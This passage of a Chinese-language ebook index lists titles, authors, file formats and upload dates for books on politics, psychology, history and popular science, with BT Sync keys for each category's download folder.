——A Very Short Introduction(英) 斯蒂芬·洛弗尔 英文PDF 2015-12-13 简介 俄国人 The Russians (美) 赫德里克·史密斯 简体PDF(上下册 扫描版) 2014-02-21 简介 苏联真相
——对101个重要问题的思考N/A 陆南泉
等简体PDF(上中下册 扫描版) 2013-01-01 简介 苏联的心灵
——共产主义时代的俄国文化The Soviet Mind
——Russian Culture under Communism(俄/英) 以赛亚·伯林 简体PDF(扫描版)
英文PDF2013-08-21
2020-03-02简介 访苏归来
其它中文名：
从苏联归来Return From The USSR (法) 安德烈·纪德 简体PDF(扫描版)
英文PDF(扫描版)2021-02-13
2019-02-08简介 莫斯科日记
其它中文名：
我和妻子的苏联之行N/A (法) 罗曼·罗兰 简体PDF(扫描版) 2019-05-18 简介
◇政治 / 英国
(无更新)
◇政治 / 法国
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：法国大革命 The French Revolution
——A Very Short Introduction(英) 威廉·多伊尔 简体EPUB
英文PDF2021-02-15
2019-01-03简介 旧制度与大革命 The Old Regime and the Revolution (法) 亚历西斯·德·托克维尔 简体PDF
简体EPUB
简体MOBI
简体PDF(扫描版)
英文PDF(扫描版)2012-10-06
2013-09-14
2018-11-10
2017-03-24
2020-03-07简介 法国大革命的起源 Origins of the French Revolution (英) 威廉·多伊尔 繁體PDF(掃描版) 2013-11-26 简介
◇政治 / 德国
(无更新)
◇政治 / (其它国家)
◇政治 / (其它国家) / 北朝鲜
(无更新)
◇政治 / (其它国家) / 柬埔寨
(无更新)
◇政治 / (其它国家) / 西班牙
(无更新)
◇政治 / (其它国家) / 捷克斯洛伐克
(无更新)
◇政治 / (其它国家) / 波兰
(无更新)
◇政治 / (其它国家) / 罗马尼亚
(无更新)
◇政治 / (其它国家) / 古巴
(无更新)
★心理学
【网盘】
微软网盘
BT Sync 密钥：BNZ6DOA6W577O6GUNH7C3MY6DWC6FTDQB （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇心理学 / 通俗读物
中文书名 英文书名 作者 文件类型 上传日期 备注 这才是心理学
——看穿伪心理学的本质
其它中文名：
与众不同的心理学
——如何正视心理学
对“伪心理学”说不How to Think Straight about Psychology (加) 基思·斯坦诺维奇 简体PDF(第10版 大字版)
简体EPUB(第10版)
简体MOBI(第10版)
英文PDF(第10版)
英文EPUB(第10版)
英文MOBI(第10版)
英文PDF(第9版)
简体PDF(第8版 扫描版)
简体EPUB(第8版)
简体MOBI(第8版)
简体PDF(第7版 扫描版)2019-09-03
2021-02-07
2021-02-07
2020-03-15
2020-11-22
2020-11-22
2020-03-15
2015-05-11
2015-02-16
2015-02-16
2012-12-29简介 牛津通识读本：生活中的心理学 Psychology
——A Very Short Introduction(英) 吉莉恩·巴特勒
(英) 弗雷达·麦克马纳斯英文EPUB(第2版)
简体EPUB(第1版)
简体AZW3(第1版)2020-03-15
2015-12-14
2015-12-14简介
◇心理学 / 认知心理学
中文书名 英文书名 作者 文件类型 上传日期 备注 学会提问
——批判性思维指南Asking the Right Questions
——A Guide to Critical Thinking(美) 尼尔·布朗
(美) 斯图尔特·基利英文PDF(第11版)
简体PDF(第10版 扫描版)
英文PDF(第8版)
简体PDF(第7版)
简体EPUB(第7版)
简体MOBI(第7版)2019-12-03
2019-08-21
2012-01-20
2012-01-20
2013-09-13
2015-11-14简介 影响力 Influence
——The Psychology of Persuasion(美) 罗伯特·西奥迪尼 简体PDF
简体PDF(扫描版)
简体EPUB
简体MOBI
英文TXT2013-02-25
2012-12-29
2013-09-13
2014-02-23
2012-12-29简介 思考，快与慢
其它中文名：
快思慢想Thinking, Fast and Slow (以色列/美) 丹尼尔·卡尼曼 简体EPUB
简体MOBI
简体TXT
英文PDF(大字版)2015-11-10
2014-07-15
2016-05-15
2020-03-15简介 超越智商
——为什么聪明人也会做蠢事What Intelligence Tests Miss
——The Psychology of Rational Thought(加) 基思·斯坦诺维奇 简体PDF(大字版)
简体EPUB
简体MOBI
英文PDF2021-02-07
2019-09-03
2019-09-03
2019-12-03简介 无从选择
——为何多即是少
其它中文名：
选择的悖论
——用心理学解读人的经济行为The Paradox of Choice
——Why More Is Less(美) 巴里·施瓦茨 简体PDF(大字版)
简体PDF(扫描版)
简体EPUB
英文PDF2019-09-03
2012-12-29
2021-01-27
2012-12-29简介 决策与判断 The Psychology of Judgment and Decision Making (美) 斯科特·普劳斯 简体PDF(扫描版) 2021-02-07 简介 清醒思考的艺术（上篇）、明智行动的艺术（下篇） The Art of Thinking Clearly (瑞士) 罗尔夫·多贝里 简体PDF(上篇 扫描版)
简体EPUB(上篇 插图版)
简体EPUB(下篇 插图版)
简体MOBI(下篇 插图版)
英文PDF
英文EPUB2014-07-15
2015-12-01
2019-04-20
2019-04-20
2015-11-13
2015-11-13简介 浅薄
——互联网如何毒化我们的大脑The Shallows
——What the Internet Is Doing to Our Brains(美) 尼古拉斯·卡尔 简体PDF
简体MOBI
英文PDF2015-02-23
2015-11-14
2019-12-03简介 怪诞行为学1
——可预测的非理性Predictably Irrational
——The Hidden Forces That Shape Our Decisions(美) 丹·艾瑞里 简体PDF(扫描版)
简体EPUB
英文EPUB(修订版)2014-07-27
2015-01-07
2021-01-27简介 怪诞行为学2
——非理性的积极力量The Upside of Irrationality
——The Unexpected Benefits of Defying Logic at Work and at Home(美) 丹·艾瑞里 简体EPUB
英文EPUB2015-01-07
2021-01-27简介 心流
——最优体验心理学Flow
——The Psychology of Optimal Experience(意/美) 米哈里·契克森米哈伊 简体EPUB
简体MOBI2019-08-19
2019-08-19简介 发现心流
——日常生活中的最优体验Finding Flow
——The Psychology of Engagement with Everyday Life(意/美) 米哈里·契克森米哈伊 简体EPUB
简体MOBI2019-08-19
2019-08-19简介 粘住
——为什么我们记住了这些，忘掉了那些？Made to Stick
——Why Some Ideas Survive and Others Die?(美) 奇普·希思
(美) 丹·希思简体PDF(扫描版)
英文EPUB2018-11-11
2021-01-27简介 统计陷阱
其它中文名：
统计数字会撒谎How to Lie with Statistics (美) 达莱尔·哈夫 简体PDF
简体PDF(大字版)
英文PDF2015-02-16
2018-11-21
2020-03-15简介
◇心理学 / 人格心理学
(无更新)
◇心理学 / 社会心理学
中文书名 英文书名 作者 文件类型 上传日期 备注 社会性动物 The Social Animal (美) 埃利奥特·阿伦森 英文PDF(第11版)
英文PDF(第10版)
简体PDF(第8版)
简体EPUB(第8版)
简体MOBI(第8版)
简体TXT(第8版)2021-02-07
2019-12-03
2014-01-09
2019-08-21
2014-02-23
2016-05-01简介 乌合之众
——大众心理研究The Crowd
——A Study of the Popular Mind(法) 古斯塔夫·勒庞 简体PDF(扫描版)
简体MOBI
简体TXT
英文PDF2019-07-16
2014-02-23
2016-05-16
2019-12-03简介 路西法效应
——好人是如何变成恶魔的The Lucifer Effect
——Understanding How Good People Turn Evil(美) 菲利普·津巴多 简体PDF(大字版)
简体EPUB
繁體PDF(掃描版)
英文PDF2018-09-10
2013-09-13
2013-02-05
2020-03-15简介
◇心理学 / 性心理学
中文书名 英文书名 作者 文件类型 上传日期 备注 性心理学 Psychology of Sex
——A Manual for Students(英) 哈维洛克·艾利斯 (旧译名：霭理士) 简体PDF(扫描版)
简体TXT2020-11-22
2019-08-22简介 男人来自火星，女人来自金星 Men Are from Mars, Women Are from Venus (美) 约翰·格雷 简体PDF(扫描版)
英文EPUB2018-09-09
2021-01-27简介
◇心理学 / 教育心理学
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：儿童心理学 Child Psychology
——A Very Short Introduction(英) 乌莎·戈斯瓦米 简体EPUB
简体AZW32021-01-27
2021-01-27简介 正面管教 Positive Discipline (美) 简·尼尔森 简体PDF 2014-02-11 简介 家庭会伤人
——自我重生的新契机Bradshaw on the Family
——A Revolutionary Way of Self Discovery(美) 约翰·布雷萧 简体PDF(扫描版) 2014-07-15 简介
◇心理学 / 进化心理学
(“进化心理学”是心理学的一个新的研究方向)
(无更新)
◇心理学 / 洗脑
中文书名 英文书名 作者 文件类型 上传日期 备注 洗脑术
——思想控制的荒唐史Brainwash
——The Secret History of Mind Control(英) 多米尼克·斯垂特菲尔德 简体PDF(扫描版)
简体MOBI2012-12-16
2015-05-11简介 人的驯化、躲避与反叛 N/A 胡平 简体PDF
简体PDF(大字版)
简体TXT2013-05-01
2013-04-20
2013-03-17简介 思想改造和极权主义心理学
——中国的洗脑研究Thought Reform and the Psychology of Totalism
——A Study of Brainwashing in China(美) 罗伯特·利夫顿 英文PDF(扫描版)
英文MOBI2021-02-07
2012-10-14简介 洗脑
——思维控制的科学
其它中文名：
洗脑心理学Brainwashing
——The Science of Thought Control(英) 凯瑟琳·泰勒 简体PDF(扫描版)
英文PDF2015-07-12
2012-10-14简介 洗脑的历史
——祸害世界三千年的极端思想控制术解析N/A 傅志彬 简体PDF(扫描版)
简体MOBI
简体PDF(不全)2015-05-11
2020-11-22
2015-02-15简介
◇心理学 / 审讯与反审讯
(无更新)
◇心理学 / (其它)
(无更新)
★历史
【网盘】
微软网盘
BT Sync 密钥：BSH7FXJFVWJTKWGSX5GTWX7PHZZ2D2M7Q （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇历史 / 世界史
中文书名 英文书名 作者 文件类型 上传日期 备注 全球通史
——从史前史到21世纪A Global History
——From Prehistory to the 21st Century(加) 斯塔夫里阿诺斯 简体PDF(第7版 大字版)
简体PDF(第4版 上下册)
简体CHM(第4版)
英文PDF(第5版 扫描版)2016-12-16
2013-02-27
2013-02-07
2017-02-22简介 世界文明史
其它中文名：
文明的故事The Story of Civilization (美) 威尔·杜兰特
(美) 阿里尔·杜兰特简体PDF(扫描版) 2017-05-03 简介 历史研究 A Study of History (英) 阿诺德·汤因比 简体PDF(上中下册 节译本 扫描版) 2021-02-16 简介 枪炮、病菌与钢铁
——人类社会的命运Guns, Germs, and Steel
——The Fates of Human Societies(美) 贾雷德·戴蒙德 简体EPUB
简体PDF(大字版)
简体CHM
简体MOBI
英文PDF2013-09-13
2013-04-20
2013-02-05
2015-05-11
2013-02-05简介 人类简史
——从动物到上帝
其它中文名：
人類大歷史
——從野獸到扮演上帝Sapiens
——A Brief History of Humankind(以色列) 尤瓦尔·赫拉利 简体EPUB
简体MOBI
简体PDF(扫描版)
英文PDF(大字版)2017-08-14
2018-08-08
2020-11-22
2020-01-18简介 大国的兴衰
——1500年~2000年的经济变迁与军事冲突The Rise and Fall of the Great Powers
——Economic Change and Military Conflict from 1500 to 2000(英) 保罗·肯尼迪 简体EPUB
简体PDF(大字版)
简体PDF(扫描版)
简体PDF(不全)
英文PDF(扫描版)2017-05-06
2016-12-16
2015-11-18
2014-06-22
2020-01-18简介 年代四部曲
包括如下：
第1卷 革命的年代，1789~1848
第2卷 资本的年代，1848~1875
第3卷 帝国的年代，1875~1914
第4卷 极端的年代，1914~1991The Age of Revolution (1789~1848)
The Age of Capital (1848~1875)
The Age of Empire (1875~1914)
The Age of Extremes (1914~1991)(英) 埃里克·霍布斯鲍姆 简体PDF(扫描版)
简体EPUB2018-08-07
2020-03-29简介 崩溃
——社会如何选择成败兴亡Collapse
——How Societies Choose to Fail or Succeed(美) 贾雷德·戴蒙德 简体PDF(大字版)
简体MOBI
简体PDF(扫描版)
英文EPUB2013-04-20
2015-05-11
2017-03-26
2020-01-18简介
◇历史 / 欧洲史
中文书名 英文书名 作者 文件类型 上传日期 备注 你一定爱读的极简欧洲史
——为什么欧洲对现代文明的影响这么深The Shortest History of Europe (澳大利亚) 约翰·赫斯特 简体PDF(扫描版)
简体MOBI
英文EPUB2014-07-28
2015-05-11
2020-01-18简介 战后欧洲史 Postwar
——A History of Europe Since 1945(英) 托尼·朱特 简体PDF(共2卷 扫描版)
英文EPUB2014-08-11
2020-01-22简介 欧洲文明史
——自罗马帝国败落起到法国革命The History of Civilization in Europe (法) 弗朗索瓦·基佐 简体PDF(扫描版) 2018-08-08 简介 欧洲中世纪史 Medieval Europe
——A Short History(美) 朱迪斯·本内特
(美) 沃伦·霍利斯特简体EPUB(第10版)
简体PDF(第10版 扫描版)2021-02-12
2017-05-04简介 牛津通识读本：启蒙运动 The Enlightenment
——A Very Short Introduction(英) 约翰·罗伯逊 英文EPUB 2020-03-14 简介 夹缝中的六国
——维也纳会议以来的中东欧历史The Lands between
——A History of East-Central Europe Since the Congress of Vienna(英) 艾伦·帕尔默 简体PDF(扫描版) 2017-08-14 简介 牛津通识读本：十字军 The Crusades
——A Very Short Introduction(英) 克里斯托弗·泰尔曼 英文PDF
英文MOBI2015-12-15
2020-12-08简介
◇历史 / 中国
◇历史 / 中国 / 古代史
中文书名 英文书名 作者 文件类型 上传日期 备注 资治通鉴 N/A 司马光 简体EPUB(柏杨白话版)
简体MOBI(柏杨白话版)
简体HTML2013-09-13
2018-11-10
2018-08-08简介 中国历代政治得失 N/A 钱穆 简体EPUB
简体MOBI
简体PDF(扫描版)
简体TXT2013-09-14
2018-12-08
2019-08-18
2013-08-22简介 中国大历史 China
——A Macro History(中/美) 黄仁宇 简体PDF
简体PDF(大字版)
简体MOBI
英文EPUB2013-02-05
2019-05-23
2019-05-23
2020-01-22简介 万历十五年 1587, a Year of No Significance
——The Ming Dynasty in Decline(中/美) 黄仁宇 简体PDF(增订纪念本 扫描版)
简体PDF
简体PDF(大字版)
简体TXT2020-11-22
2014-01-08
2019-05-23
2016-05-17简介 潜规则
——中国历史中的真实游戏N/A 吴思 简体PDF
简体EPUB
简体CHM
简体MOBI
简体TXT2013-02-27
2013-09-13
2013-02-07
2014-02-23
2016-04-30简介 血酬定律
——中国历史中的生存游戏N/A 吴思 简体PDF
简体MOBI
简体TXT2014-01-09
2014-02-23
2016-04-30简介 兴盛与危机
——论中国社会超稳定结构N/A 金观涛
刘青峰简体PDF
简体HTML2013-02-07
2017-08-14简介 赫逊河畔谈中国历史 Conversation on Chinese History by the Hudson River (中/美) 黄仁宇 简体PDF(扫描版)
简体HTML
简体TXT
繁體MOBI2021-02-16
2018-08-08
2016-05-20
2019-08-23简介 明朝那些事 N/A 当年明月 (原名：石悦) 简体PDF
简体PDF(大字版)
简体EPUB
简体MOBI2017-05-06
2018-11-11
2013-09-14
2018-08-08简介
◇历史 / 中国 / 近代史
中文书名 英文书名 作者 文件类型 上传日期 备注 《炎黄春秋》合订本 (1999-2010) N/A 《炎黄春秋》杂志社 简体EPUB 2013-09-11 简介 中国近代史 The Rise of Modern China (中/美) 徐中约 简体PDF(上下册)
简体EPUB2013-03-22
2013-09-13简介 中国近代史大纲
其它中文名：
中国近代史Outline of Modern Chinese History 蒋廷黻 简体PDF(扫描版)
简体PDF2020-03-30
2014-01-09简介 停滞的帝国
——两个世界的撞击The Immobile Empire (法) 阿兰·佩雷菲特 简体EPUB
简体MOBI
简体PDF(扫描版)
英文EPUB2019-07-17
2019-07-17
2014-05-23
2020-01-19简介 追寻现代中国 The Search for Modern China (美) Jonathan Spence (中文名：史景迁) 繁體PDF
简体EPUB
简体PDF
英文PDF(扫描版)2014-06-22
2014-06-22
2016-12-18
2020-01-19简介 论中国
——中国新史
其它中文名：
费正清论中国China
——A New History(美) 费正清
(美) 默尔·戈德曼英文PDF(第2版)
繁體PDF(第1版 竪排掃描版)2020-01-19
2015-02-08简介 晚清七十年 The Final Seventy Years of Qing Dynasty (中/美) 唐德刚 简体PDF(大字版)
繁體EPUB
简体MOBI
繁體MOBI2019-08-23
2019-01-05
2018-08-08
2019-01-05简介 帝国落日
——晚清大变局
其它中文名：
晚清大变局中的思潮与人物N/A 袁伟时 简体EPUB
简体TXT2021-02-12
2016-05-16简介 走出帝制
——从晚清到民国历史的回望Moving Away from the Imperial Regime 秦晖 简体EPUB
简体PDF(大字版)
简体TXT
简体MOBI2016-12-16
2016-07-14
2016-05-20
2018-11-21简介 五四新论
——既非文艺复兴，亦非启蒙运动N/A (中/美) 余英时
等简体PDF(扫描版) 2017-05-06 简介 袁氏当国 N/A (中/美) 唐德刚 简体PDF(大字版)
繁體MOBI
简体TXT2015-02-09
2015-02-09
2016-04-30简介 重说中国近代史 N/A 张鸣 简体EPUB
简体PDF(扫描版)2013-09-14
2020-11-22简介 太平天国 God's Chinese Son
——The Taiping Heavenly Kingdom of Hong Xiuquan(美) Jonathan Spence (中文名：史景迁) 简体PDF(扫描版)
英文EPUB2017-05-03
2020-01-19简介 再说戊戌变法 N/A 张鸣 简体MOBI 2016-12-16 简介 民国人物过眼录 N/A 杨奎松 简体PDF(扫描版) 2014-02-21 简介 叫魂
——1768年中国妖术大恐慌Soulstealers
——The Chinese Sorcery Scare of 1768(美) Philip Kuhn (中文名：孔飞力) 简体PDF(扫描版)
简体TXT
英文PDF(扫描版)2014-05-23
2016-05-15
2020-01-19简介 慈禧统治下的大清帝国
其它中文名：
慈禧外传
两个洋人眼中的慈禧太后China Under the Empress Dowager
——The History of the Life and Times of Tzu Hsi(英) 约翰·濮兰德
(英) 埃德蒙德·贝克豪斯爵士简体PDF(扫描版)
英文EPUB2017-08-15
2021-02-16简介 重返五四现场
——1919，一个国家的青春记忆N/A 叶曙明 简体PDF(扫描版) 2013-05-01 简介
◇历史 / 中国 / 丛书
◇历史 / 中国 / 丛书 / 剑桥中国史
(无更新)
◇历史 / 古希腊
（与古希腊的战争相关的书籍，放在【军事类 / 古代军事史 / 古希腊】分类目录下）
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：古希腊 Ancient Greece
——A Very Short Introduction(英) 保罗·卡特利奇 英文EPUB 2020-03-14 简介 希腊城邦制度
——读希腊史笔记N/A 顾准 简体PDF
简体PDF(扫描版)
简体MOBI2013-02-07
2019-08-18
2015-02-13简介 爱琴海沿岸的奇异王国 Wondrous Realms of the Aegean (美) 戴尔·布朗 (主编) 简体PDF(扫描版) 2015-11-03 简介 牛津通识读本：亚历山大大帝 Alexander the Great
——A Very Short Introduction(英) 休·鲍登 英文EPUB 2021-02-16 简介 牛津通识读本：希罗多德 Herodotus
——A Very Short Introduction(美) 詹尼弗·罗伯茨 英文EPUB 2020-03-14 简介
◇历史 / 古罗马
（与古罗马的战争相关的书籍，放在【军事类 / 古代军事史 / 古罗马】分类目录下）
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：罗马共和国 The Roman Republic
——A Very Short Introduction(英) 戴维·格温 简体EPUB
简体MOBI
英文EPUB2021-02-16
2021-02-16
2020-03-24简介 牛津通识读本：罗马帝国简史 The Roman Empire
——A Very Short Introduction(澳大利亚) 克里斯托弗·凯利 简体EPUB
英文PDF
英文MOBI2020-03-29
2015-12-15
2020-12-08简介 罗马帝国衰亡史 The History of the Decline and Fall of the Roman Empire (英) 爱德华·吉本 简体PDF(共6卷 全译本 扫描版)
简体EPUB(节译本)
简体MOBI(节译本)
简体PDF(上下册 节译本)
简体CHM(节译本)
英文PDF(6卷本 节选版)2013-11-26
2013-09-14
2015-02-13
2013-02-07
2013-02-07
2020-01-19简介 罗马人的故事 N/A (日) 盐野七生 繁體PDF(掃描版) 2017-05-03 简介 罗马史
其它中文名：
罗马风云The History of Rome (德) 特奥多尔·蒙森 简体PDF(扫描版 节译本)
英文PDF(5卷本)2017-05-03
2021-02-12简介 罗马盛衰原因论 Considerations on the Causes of the Greatness of the Romans and their Decline (法) 孟德斯鸠 简体PDF
简体PDF(扫描版)
英文PDF(扫描版)2013-02-07
2015-07-11
2020-01-19简介 罗马史 Roman History (古罗马) 阿庇安 简体TXT 2016-05-01 简介 编年史
其它中文名：
罗马编年史
罗马帝国编年史Annals (古罗马) 塔西佗 简体PDF(上下册) 2021-02-12 简介 罗马十二帝王传
其它中文名：
十二凯撒传The Twelve Caesars (古罗马) 苏维托尼乌斯 简体PDF(扫描版)
英文EPUB2020-03-29
2021-02-12简介
◇历史 / 美国
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：美国历史 American History
——A Very Short Introduction(美) 保罗·博耶 英文PDF 2020-03-14 简介 美国通史
包括如下：
第1卷 美国的奠基时代，1585~1775
第2卷 美国的独立和初步繁荣，1775~1860
第3卷 美国内战与镀金时代，1861~19世纪末
第4卷 崛起和扩张的年代，1898~1929
第5卷 罗斯福时代，1929~1945
第6卷 战后美国史，1945~2000A General History of the U.S. 1585~2000 刘绪贻、杨生茂 等 简体PDF(扫描版) 2017-02-20 简介 光荣与梦想
——1932~1972年美国社会实录The Glory and the Dream
——A Narrative History of America, 1932~1972(美) 威廉·曼彻斯特 简体PDF(大字版)
简体PDF
简体EPUB
简体TXT
英文EPUB2016-12-16
2017-02-17
2021-02-16
2016-05-01
2020-01-18简介 美国黑人斗争史
——1619年至今的历史、文献与分析Black Protest
——History, Documents and Analysis, 1619 to the Present(美) 乔安妮·格兰特 简体PDF(扫描版) 2017-02-18 简介 牛津通识读本：大萧条与罗斯福新政 The Great Depression and The New Deal
——A Very Short Introduction(美) 埃里克·罗威 简体EPUB
简体MOBI
英文PDF
英文MOBI2021-02-16
2021-02-16
2015-12-15
2020-12-08简介
◇历史 / 英国
(无更新)
◇历史 / 法国
(无更新)
◇历史 / 德国
(无更新)
◇历史 / 日本
(无更新)
◇历史 / (其它国家)
◇历史 / (其它国家) / 中亚
中文书名 英文书名 作者 文件类型 上传日期 备注 草原帝国 The Empire of the Steppes
——A History of Central Asia(法) 勒内·格鲁塞 简体PDF(扫描版) 2021-03-12 简介 蒙古帝国史 The History of The Mongol Empire (法) 勒内·格鲁塞 简体PDF(扫描版) 2020-03-30 简介
◇历史 / (其它国家) / 葡萄牙
(无更新)
★经济
【网盘】
微软网盘
BT Sync 密钥：B2FRYA6AXCDW6CF4YJVFWKH2HAXOFICOX （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇经济 / 经济学
◇经济 / 经济学 / 教材
(无更新)
◇经济 / 经济学 / 理论
(无更新)
◇经济 / 经济学 / 评论
(无更新)
◇经济 / 经济学 / 通俗读物
(无更新)
◇经济 / 金融
(无更新)
◇经济 / 投资
(无更新)
◇经济 / 经济学家
(无更新)
◇经济 / 博弈论
◇经济 / 博弈论 / 通俗读物
(无更新)
◇经济 / 博弈论 / 理论
(无更新)
◇经济 / 市场营销
(无更新)
◇经济 / (其它)
(无更新)
★管理
【网盘】
微软网盘
BT Sync 密钥：B3WNBTAAFFAODFR6FQ3E3L5BBSJAFNBSJ （此密钥的使用方法，参见页面开头的“网盘下载须知”）
(无更新)
★社会学
【网盘】
微软网盘
BT Sync 密钥：BZR4TTYHT25QWUIE6YNMAKWUGBHKSGLC6 （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇社会学 / 通俗读物
(无更新)
◇社会学 / 理论
(无更新)
◇社会学 / 传媒
(无更新)
◇社会学 / (其它)
(无更新)
★文艺
【网盘】
微软网盘
BT Sync 密钥：BMBB5YLBIJJAE5H6TP27OS7YCEUKCYHZK （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇文艺 / 中国
◇文艺 / 中国 / 文化
(无更新)
◇文艺 / 中国 / 文学家、艺术家
(无更新)
◇文艺 / 中国 / (其它)
(无更新)
◇文艺 / 日本
◇文艺 / 日本 / 文化
(无更新)
★哲学
【网盘】
微软网盘
BT Sync 密钥：B6WWVBXPMZDI5IL4KED6AAHA5FO4UNKQF （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇哲学 / 通俗读物
(无更新)
◇哲学 / 哲学史
(无更新)
◇哲学 / 哲学家
◇哲学 / 哲学家 / 苏格拉底
(无更新)
◇哲学 / 哲学家 / 柏拉图
(无更新)
◇哲学 / 哲学家 / 亚里士多德
(无更新)
◇哲学 / 哲学家 / 笛卡尔
(无更新)
◇哲学 / 哲学家 / 洛克
(无更新)
◇哲学 / 哲学家 / 康德
(无更新)
◇哲学 / 哲学家 / 黑格尔
(无更新)
◇哲学 / 哲学家 / 叔本华
(无更新)
◇哲学 / 哲学家 / 尼采
(无更新)
◇哲学 / 哲学家 / 罗素
(无更新)
◇哲学 / 哲学家 / 维特根斯坦
(无更新)
◇哲学 / 哲学家 / 波普尔
(无更新)
◇哲学 / 哲学家 / (其他哲学家)
(无更新)
◇哲学 / 形而上学
(无更新)
◇哲学 / 知识论与认识论
(无更新)
◇哲学 / 逻辑学
(无更新)
◇哲学 / 伦理学
(无更新)
◇哲学 / 科学哲学
(无更新)
◇哲学 / 美学
(无更新)
◇哲学 / (其它)
(无更新)
★科普
【网盘】
微软网盘
BT Sync 密钥：BKKORLE67ZDUHGHVWAVSRK3N5I7BXLCED （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇科普 / (总论)
(无更新)
◇科普 / 数学
◇科普 / 数学 / 数学史
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：数学史 The History of Mathematics
——A Very Short Introduction(英) 杰基·斯特德尔 英文EPUB 2020-12-10 简介 数学
——确定性的丧失Mathematics
——The Loss of Certainty(美) 莫里斯·克莱因 简体PDF 2020-12-10 简介 西方文化中的数学 Mathematics in Western Culture (美) 莫里斯·克莱因 简体PDF(扫描版)
英文PDF(扫描版)2020-12-10
2021-01-20简介 费马大定理
——一个困惑了世间智者358年的谜Fermat's Last Theorem
——The Story of a Riddle That Confounded the World's Greatest Minds for 358 Years
其它英文名：
Fermat's Enigma
——The Epic Quest to Solve the World's Greatest Mathematical Problem(英) 西蒙·辛格 简体EPUB 2020-12-10 简介
◇科普 / 数学 / (综述)
中文书名 英文书名 作者 文件类型 上传日期 备注 什么是数学
——对思想和方法的基本研究What Is Mathematics
——An Elementary Approach to Ideas and Methods(德/美) 理查德·柯朗
(美) 赫伯特·罗宾斯
(英) 伊恩·斯图尔特简体PDF(第3版 扫描版)
英文EPUB(第3版)2020-12-10
2021-01-18简介
◇科普 / 数学 / 基础理论
中文书名 英文书名 作者 文件类型 上传日期 备注 哥德尔、艾舍尔、巴赫书
——集异璧之大成Gödel, Escher, Bach
——An Eternal Golden Braid(美) 道格拉斯·霍夫施塔特 (中文名：侯世达) 简体PDF(扫描版)
英文PDF2021-01-18
2020-12-11简介 哥德尔证明 Gödel's Proof (奥/美) 欧内斯特·内格尔
(美) 詹姆斯·纽曼简体PDF
英文EPUB2020-12-11
2021-03-23简介
◇科普 / 数学 / 代数与分析
(无更新)
◇科普 / 数学 / 几何与拓扑
(无更新)
◇科普 / 数学 / 概率与统计
(无更新)
◇科普 / 数学 / (其它)
中文书名 英文书名 作者 文件类型 上传日期 备注 怎样解题
——数学思维的新方法How to Solve It
——A New Aspect of Mathematical Method(匈/瑞士/美) 乔治·波利亚 简体PDF(第2版)
英文PDF(第2版 扫描版)2020-12-11
2021-03-23简介
◇科普 / 物理学
◇科普 / 物理学 / 物理学史
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：物理学史 The History of Physics
——A Very Short Introduction(英) 约翰·海尔布隆 英文EPUB 2020-12-12 简介 物理学的进化 The Evolution of Physics
——From Early Concepts to Relativity and Quanta(德/美) 阿尔伯特·爱因斯坦
(波兰) 利奥波德·英费尔德简体PDF(扫描版)
英文PDF2020-12-12
2021-02-11简介 上帝掷骰子吗？
——量子物理史话History of Quantum Physics 曹天元 简体EPUB 2020-12-12 简介
◇科普 / 物理学 / (综述)
中文书名 英文书名 作者 文件类型 上传日期 备注 费曼物理学讲义 The Feynman Lectures on Physics (美) 理查德·费曼 简体PDF(共3卷 扫描版)
英文PDF(共3卷 扫描版)2021-02-11
2020-12-12简介
◇科普 / 物理学 / 基础理论
中文书名 英文书名 作者 文件类型 上传日期 备注 物理世界奇遇记 Mr Tompkins in Wonderland
其它英文名：
Mr Tompkins Explores the Atom
The New World of Mr Tompkins(苏/美) 乔治·伽莫夫 简体PDF(精校版) 2020-12-12 简介 从牛顿定律到爱因斯坦相对论 N/A (中/美) 方励之
褚耀泉简体PDF(精校版) 2020-12-12 简介 量子力学概论 Introduction to Quantum Mechanics (美) 大卫·格里菲斯 简体PDF(第2版)
英文EPUB(第3版)2020-12-12
2021-01-18简介 宇宙的琴弦
——超弦、隐藏维度与终极理论探索
其它中文名：
优雅的宇宙The Elegant Universe
——Superstrings, Hidden Dimensions and the Quest for the Ultimate Theory(美) 布莱恩·格林 简体PDF(扫描版) 2020-12-12 简介
◇科普 / 物理学 / 粒子物理学
(无更新)
◇科普 / 物理学 / 核物理学
(无更新)
◇科普 / 物理学 / 天体物理学
中文书名 英文书名 作者 文件类型 上传日期 备注 时间简史
——从大爆炸到黑洞A Brief History of Time
——From the Big Bang to Black Holes(英) 斯蒂芬·霍金 简体PDF(插图本 扫描版)
英文EPUB(10周年纪念版)2021-01-20
2020-12-13简介 最初三分钟
——关于宇宙起源的现代观点The First Three Minutes
——A Modern View of the Origin of the Universe(美) 史蒂文·温伯格 简体PDF(扫描版)
英文PDF2020-12-13
2021-03-23简介 宇宙的最后三分钟
——关于宇宙归宿的最新观念The Last Three Minutes
——Conjectures about the Ultimate Fate of the Universe(美) 保罗·戴维斯 简体PDF 2020-12-13 简介 超越时空
——通过平行宇宙、时间卷曲和第十维度的科学之旅
其它中文名：
穿越超時空
——十度空間科學奇航Hyperspace
——A Scientific Odyssey Through Parallel Universes, Time Warps and the Tenth Dimension(美) 加来道雄 简体PDF(扫描版) 2020-12-13 简介
◇科普 / 物理学 / (其它)
中文书名 英文书名 作者 文件类型 上传日期 备注 上帝与新物理学 God and the New Physics (美) 保罗·戴维斯 简体PDF
英文EPUB2020-12-13
2021-03-23简介
◇科普 / 化学
◇科普 / 化学 / (综述)
(无更新)
◇科普 / 化学 / 基础理论
(无更新)
◇科普 / 化学 / 物理化学
(无更新)
◇科普 / 化学 / 有机化学
(无更新)
◇科普 / 生命科学
◇科普 / 生命科学 / 生物分类学
(无更新)
◇科普 / 生命科学 / 演化生物学
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：基因 Genes
